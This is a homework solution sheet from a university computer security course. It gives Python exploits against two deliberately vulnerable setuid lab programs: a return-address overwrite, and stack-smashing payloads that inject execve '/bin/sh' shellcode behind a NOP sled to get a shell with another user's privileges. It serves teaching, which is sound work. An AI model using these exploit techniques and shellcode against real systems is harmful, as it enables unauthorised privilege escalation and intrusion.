CS177: Computer Security
Prof. Stefano Tessaro

UC Santa Barbara
Spring 2016

Homework 4 – Solutions

Task 1 – Simple Control-Flow Hijacking (15 points)

The executable `/home/mr177/bin/auth` is vulnerable to a buffer overflow. The C code of `auth` is available on the Piazza page. The program is owned by `mr177` and has the setuid flag, i.e., it runs with `mr177`'s privileges. No stack protections are activated. The program has syntax

```
/home/mr177/bin/auth password
```

and running it with the right password will result in a secret word being printed to screen.

The goal of this task is to write an exploit (in Python or in C) resulting in auth outputting the secret word *without* guessing the password. While many solutions are possible, it may help you to learn to use `gdb` properly, and answer the following questions:

a) What is the address of the first instruction inside `main` executed if the output of `authenticate` is indeed 0.

b) Where are the relevant accessible portions of the stack within `authenticate`, in particular with respect to the position of the stored return pointer?

The following Python code gives a valid exploit (note that you do not need to use Python, and all of this can be achieved from the command line directly). Note that here the address `0x08048652` has been recovered by disassembling `main` in auth. Similarly, disassembling `authenticate` gives exactly the offset of the buffer beginning from the return pointer to be overwritten.

```
import os;

string = "\x32\x32\x32\x32\x32\x32\x32\x32
\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32
\x32\x32\x32\x32\x32\x32\x52\x86\x04\x08"

os.execv("/home/mr177/bin/auth", ['auth', string])
```

Task 2 – Shellcode (15 + 10 points)

Another vulnerable executable is `/home/mr177/bin/auth2`. It has the same identical behavior as `auth`, and the only small difference is to be seen in the corresponding source code, also available on Piazza.

a) Write an exploit for `auth2` resulting in opening up a shell with `mr177`'s privileges.

The following is an example of an exploit. Note that the address pointing into the buffer may vary from execution to execution, and thus some attempts should be made to make it work by changing it.

```
import os;

sc = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88'
'\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d'
'\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89'
'\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'

pad = ""

for i in xrange(0,51):
    pad = pad + "\x90"

string = pad + sc
string = string + "\x98\xfb\xff\xbf"

os.execv("/home/mr177/bin/auth2", ['auth2', string])
```

b) (Bonus 10 points) Do the same for `auth`.

Here, the buffer is too small. Luckily, it is enough to simply write after the return address and everything works. (This does not always work, and other alternatives are to write the shellcode into the environment variables.)

```
import os;
# Note: Other approaches are possible, for example using the ENV
# variables, but it was not really necessary here. We just write
# beyond the end of the stack area designated for authenticate, and
# add so many NOPs that hitting the right place becomes very easy
# (here 500 for example).



addr = "\x98\xfb\xff\xbf"

string = "\x32\x32\x32\x32\x32\x32\x32"
         "\x32\x32\x32\x32\x32\x32\x32"
         "\x32\x32\x32\x32\x32\x32\x32"
         "\x32\x32\x32\x32"


shellcode = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88'
'\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d'
```

```
'\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89'
'\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'


pad = ""

for i in xrange(0,500):
    pad = pad + "\x90"

string = string + addr + pad + shellcode

# "

os.execv("/home/mr177/bin/auth", ['auth', string])
```

Create an empty file named `FirstnameLastname` in `/home/mr177/visitors/` once you have obtained shell access. Creating this file will only be possible by obtaining `mr177`'s access privileges.

Hint: While you may use other ones, it is recommended that you use the (right) shellcode from AlephOne's tutorial.